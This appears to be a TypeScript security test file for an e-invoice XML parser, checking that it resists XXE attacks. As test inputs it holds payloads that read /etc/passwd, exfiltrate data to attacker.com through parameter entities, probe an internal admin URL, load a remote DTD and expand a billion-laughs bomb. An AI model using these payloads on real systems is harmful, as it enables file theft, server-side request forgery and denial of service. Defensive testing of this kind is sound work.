303 lines
9.3 KiB
TypeScript
303 lines
9.3 KiB
TypeScript
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import { tap } from '@git.zone/tstest/tapbundle';
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import * as plugins from '../plugins.js';
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import { EInvoice } from '../../../ts/index.js';
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import { PerformanceTracker } from '../performance.tracker.js';
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const performanceTracker = new PerformanceTracker('SEC-01: XXE Prevention');
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tap.test('SEC-01: XML External Entity (XXE) Prevention - should prevent XXE attacks', async (t) => {
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const einvoice = new EInvoice();
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// Test 1: Prevent basic XXE attack with external entity
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const basicXXE = await performanceTracker.measureAsync(
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'basic-xxe-prevention',
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async () => {
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const maliciousXML = `<?xml version="1.0" encoding="UTF-8"?>
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<!DOCTYPE foo [
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<!ENTITY xxe SYSTEM "file:///etc/passwd">
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]>
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<Invoice>
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<InvoiceNumber>&xxe;</InvoiceNumber>
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</Invoice>`;
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try {
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// Should either throw or sanitize the XXE attempt
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const result = await einvoice.parseXML(maliciousXML);
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// If parsing succeeds, the entity should not be resolved
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if (result && result.InvoiceNumber) {
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const content = result.InvoiceNumber.toString();
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t.notMatch(content, /root:/, 'XXE entity should not resolve to file contents');
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t.notMatch(content, /bin\/bash/, 'XXE entity should not contain system file data');
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}
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return { prevented: true, method: 'sanitized' };
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} catch (error) {
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// Parser should reject XXE attempts
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t.ok(error, 'Parser correctly rejected XXE attempt');
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return { prevented: true, method: 'rejected', error: error.message };
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}
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}
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);
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t.ok(basicXXE.prevented, 'Basic XXE attack was prevented');
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// Test 2: Prevent parameter entity XXE
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const parameterEntityXXE = await performanceTracker.measureAsync(
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'parameter-entity-xxe',
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async () => {
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const maliciousXML = `<?xml version="1.0" encoding="UTF-8"?>
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<!DOCTYPE foo [
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<!ENTITY % file SYSTEM "file:///etc/hosts">
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<!ENTITY % eval "<!ENTITY % exfil SYSTEM 'http://attacker.com/?data=%file;'>">
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%eval;
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%exfil;
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]>
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<Invoice>
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<ID>test</ID>
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</Invoice>`;
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try {
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await einvoice.parseXML(maliciousXML);
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return { prevented: true, method: 'sanitized' };
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} catch (error) {
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return { prevented: true, method: 'rejected', error: error.message };
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}
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}
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);
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t.ok(parameterEntityXXE.prevented, 'Parameter entity XXE was prevented');
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// Test 3: Prevent SSRF via XXE
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const ssrfXXE = await performanceTracker.measureAsync(
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'ssrf-xxe-prevention',
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async () => {
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const maliciousXML = `<?xml version="1.0" encoding="UTF-8"?>
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<!DOCTYPE foo [
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<!ENTITY xxe SYSTEM "http://internal.server:8080/admin">
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]>
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<Invoice>
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<Description>&xxe;</Description>
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</Invoice>`;
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try {
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const result = await einvoice.parseXML(maliciousXML);
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if (result && result.Description) {
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const content = result.Description.toString();
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t.notMatch(content, /admin/, 'SSRF content should not be retrieved');
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t.notEqual(content.length, 0, 'Entity should be handled but not resolved');
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}
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return { prevented: true, method: 'sanitized' };
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} catch (error) {
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return { prevented: true, method: 'rejected', error: error.message };
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}
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}
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);
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t.ok(ssrfXXE.prevented, 'SSRF via XXE was prevented');
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// Test 4: Prevent billion laughs attack (XML bomb)
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const billionLaughs = await performanceTracker.measureAsync(
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'billion-laughs-prevention',
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async () => {
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const maliciousXML = `<?xml version="1.0" encoding="UTF-8"?>
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<!DOCTYPE lolz [
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<!ENTITY lol "lol">
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<!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
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<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
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<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
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]>
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<Invoice>
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<Note>&lol4;</Note>
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</Invoice>`;
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const startTime = Date.now();
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const startMemory = process.memoryUsage().heapUsed;
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try {
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await einvoice.parseXML(maliciousXML);
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const endTime = Date.now();
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const endMemory = process.memoryUsage().heapUsed;
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// Should complete quickly without memory explosion
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t.ok(endTime - startTime < 1000, 'Parsing completed within time limit');
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t.ok(endMemory - startMemory < 10 * 1024 * 1024, 'Memory usage stayed reasonable');
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return { prevented: true, method: 'limited' };
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} catch (error) {
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return { prevented: true, method: 'rejected', error: error.message };
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}
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}
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);
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t.ok(billionLaughs.prevented, 'Billion laughs attack was prevented');
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// Test 5: Prevent external DTD loading
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const externalDTD = await performanceTracker.measureAsync(
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'external-dtd-prevention',
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async () => {
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const maliciousXML = `<?xml version="1.0" encoding="UTF-8"?>
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<!DOCTYPE Invoice SYSTEM "http://attacker.com/malicious.dtd">
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<Invoice>
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<ID>12345</ID>
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</Invoice>`;
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try {
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await einvoice.parseXML(maliciousXML);
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// If parsing succeeds, DTD should not have been loaded
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return { prevented: true, method: 'ignored' };
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} catch (error) {
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return { prevented: true, method: 'rejected', error: error.message };
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}
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}
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);
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t.ok(externalDTD.prevented, 'External DTD loading was prevented');
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// Test 6: Test with real invoice formats
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const realFormatTests = await performanceTracker.measureAsync(
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'real-format-xxe-tests',
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async () => {
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const formats = ['ubl', 'cii'];
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const results = [];
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for (const format of formats) {
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// Create a malicious invoice in each format
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const maliciousInvoice = createMaliciousInvoice(format);
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try {
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const result = await einvoice.parseDocument(maliciousInvoice);
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results.push({
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format,
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prevented: true,
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method: 'sanitized',
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hasEntities: checkForResolvedEntities(result)
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});
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} catch (error) {
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results.push({
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format,
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prevented: true,
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method: 'rejected',
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error: error.message
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});
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}
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}
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return results;
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}
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);
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realFormatTests.forEach(result => {
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t.ok(result.prevented, `XXE prevented in ${result.format} format`);
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if (result.method === 'sanitized') {
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t.notOk(result.hasEntities, `No resolved entities in ${result.format}`);
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}
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});
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// Test 7: Nested entity attacks
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const nestedEntities = await performanceTracker.measureAsync(
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'nested-entity-prevention',
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async () => {
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const maliciousXML = `<?xml version="1.0" encoding="UTF-8"?>
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<!DOCTYPE foo [
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<!ENTITY level1 SYSTEM "file:///etc/passwd">
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<!ENTITY level2 "&level1;&level1;">
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<!ENTITY level3 "&level2;&level2;">
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]>
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<Invoice>
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<Note>&level3;</Note>
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</Invoice>`;
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try {
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const result = await einvoice.parseXML(maliciousXML);
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if (result && result.Note) {
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const content = result.Note.toString();
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t.notMatch(content, /root:/, 'Nested entities should not resolve');
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}
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return { prevented: true };
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} catch (error) {
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return { prevented: true, error: error.message };
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}
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}
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);
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t.ok(nestedEntities.prevented, 'Nested entity attack was prevented');
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// Test 8: Unicode-based XXE attempts
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const unicodeXXE = await performanceTracker.measureAsync(
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'unicode-xxe-prevention',
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async () => {
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const maliciousXML = `<?xml version="1.0" encoding="UTF-8"?>
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<!DOCTYPE foo [
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<!ENTITY xxe SYSTEM "file:///etc/passwd">
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]>
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<Invoice>
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<Data>&xxe;</Data>
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</Invoice>`;
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try {
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const result = await einvoice.parseXML(maliciousXML);
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if (result && result.Data) {
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const content = result.Data.toString();
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t.notMatch(content, /root:/, 'Unicode-encoded XXE should not resolve');
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}
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return { prevented: true };
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} catch (error) {
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return { prevented: true, error: error.message };
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}
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}
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);
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t.ok(unicodeXXE.prevented, 'Unicode-based XXE was prevented');
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// Print performance summary
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performanceTracker.printSummary();
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});
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// Helper function to create malicious invoices in different formats
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function createMaliciousInvoice(format: string): string {
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const xxePayload = `<!DOCTYPE foo [
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<!ENTITY xxe SYSTEM "file:///etc/passwd">
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]>`;
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if (format === 'ubl') {
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return `<?xml version="1.0" encoding="UTF-8"?>
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${xxePayload}
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<Invoice xmlns="urn:oasis:names:specification:ubl:schema:xsd:Invoice-2">
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<ID>&xxe;</ID>
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<IssueDate>2024-01-01</IssueDate>
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</Invoice>`;
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} else if (format === 'cii') {
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return `<?xml version="1.0" encoding="UTF-8"?>
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${xxePayload}
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<rsm:CrossIndustryInvoice xmlns:rsm="urn:un:unece:uncefact:data:standard:CrossIndustryInvoice:100">
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<rsm:ExchangedDocument>
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<ram:ID>&xxe;</ram:ID>
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</rsm:ExchangedDocument>
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</rsm:CrossIndustryInvoice>`;
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}
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return '';
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}
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// Helper function to check if any entities were resolved
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function checkForResolvedEntities(document: any): boolean {
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const json = JSON.stringify(document);
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// Check for common system file signatures
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const signatures = [
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'root:', 'bin/bash', '/etc/', 'localhost',
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'admin', 'passwd', 'shadow', '127.0.0.1'
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];
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return signatures.some(sig => json.includes(sig));
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}
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// Run the test
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tap.start();
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